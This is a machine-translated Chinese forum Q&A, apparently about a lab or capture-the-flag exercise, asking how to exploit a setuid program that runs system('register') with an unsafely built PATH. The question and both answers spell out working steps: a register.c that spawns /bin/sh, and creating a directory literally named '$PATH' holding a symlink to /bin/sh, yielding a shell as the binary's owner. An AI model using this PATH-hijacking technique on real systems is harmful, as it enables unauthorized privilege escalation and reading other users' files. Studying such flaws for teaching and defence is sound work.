也许这应该在askubuntu堆栈交换上,但是无论如何...
我具有以下目录结构:
bar@test:/$ cd /home/foo/Public
bar@test:/home/foo/Public$ ls -l
-rwsr-xr-x 1 foo foo 7632 Sep 30 foo-secret*
和
foo@test:/$ cd /home/foo/Private
foo@test:/home/foo/Private$ ls -l
-rws------ 1 foo foo 7084 Sep 30 register*
-rws------ 1 foo foo 7162 Sep 30 show-secret*
-rw------- 1 foo foo 1361 Sep 30 secret-file
如果我运行./foo-secret badpassword
,我会得到:
bar@test:/home/foo/Public$./foo-secret badpassword
You entered a bad password. Register new account (y/N)? y
Cannot register at this time.
bar@test:/home/foo/Public$
作为栏,我无法访问foo的“私人”文件夹。现在,foo-secret接受一个参数,即foo的密码(我不知道)。我知道foo-secret
的身份验证如下:
putenv("PATH=$PATH:/home/foo/Public:/home/foo/Private");
if (authenticate("foo", argv[1])) {
system("show-secret");
} else {
printf("You entered a bad password. Register new account (y/N)?");
ans=getchar();
if (ans == 'y') system("register");
}
最初,我认为只需创建一个名为register
的新二进制文件并将其放入/home/bar/bin
中,然后将home/bar/bin
添加到PATH
即可,即
bar@test:/home/bar$ mkdir bin
bar@test:/home/bar$ cd bin
bar@test:/home/bar/bin$ gcc register.c -o register
bar@test:/home/bar/bin$ chmod +x register
bar@test:/home/bar/bin$ cd /home/foo/Public
bar@test:/home/foo/Public$ export PATH=/home/bar/bin
新的register.c为:
#include <stdio.h>
int main() {
system("/bin/sh");
}
这个想法是,由于我知道foo-secret
对register
二进制文件进行了系统调用,因此我可以制作一个名为register
的新二进制文件,它会在更改权限后打开一个外壳程序/提升为foo的值(这意味着我可以再读取foo的secret-file
)。不过,使用更改后的./foo-secret badpassword
运行PATH
仍然会产生:
bar@test:/home/foo/Public$./foo-secret badpassword
You entered a bad password. Register new account (y/N)? y
Cannot register at this time.
bar@test:/home/foo/Public$
...而不是按预期方式打开外壳。我假设它是因为程序本身添加了PATH变量。因此,我的问题是:如何强制foo-secret
使用我的register
而不是/home/foo/Private
中的那个?
答案 0 :(得分:1)
如果setuid foo-secret
程序C源确实存在
putenv("PATH=$PATH:/home/foo/Public:/home/foo/Private");
这意味着PATH环境变量将以$PATH:
开头,这意味着第一个目录外壳将在其中查找二进制文件,即当前工作目录下的目录$PATH
。
(其中的目录用冒号分隔。如果目录以斜杠开头,则是绝对目录,即从根目录开始;否则,它是相对于当前工作目录的。)
因此,您所需要做的就是使用您拥有的某个目录,例如您的主目录,在其中创建一个$PATH
子目录,然后在其中放置一个名为register
的符号链接,该符号链接指向您的shell想使用:
cd
mkdir '$PATH'
ln -s /bin/sh '$PATH/register'
/home/foo/public/foo-secret badpassword
如果您随后尝试注册,则system("register")
行将最终执行shell符号链接。由于foo-secret
是setuid foo,因此该shell将以用户foo的身份运行。
答案 1 :(得分:0)
foo-secret附加到PATH;因此您应该能够:
PATH=/my/nefarious/path:${PATH} ./foo-secret badpass
并将/ bin / sh复制到/ my / nefarious / path / register。 除了显示的foo-secret.c的代码外:
putenv("PATH=$PATH:/...");
不附加到PATH。变量赋值需要作为shell函数执行;设置静态env-var将无济于事。 但是,如果您:
mkdir \$PATH
cp /bin/ls \$PATH/register
它应该做您希望的事情。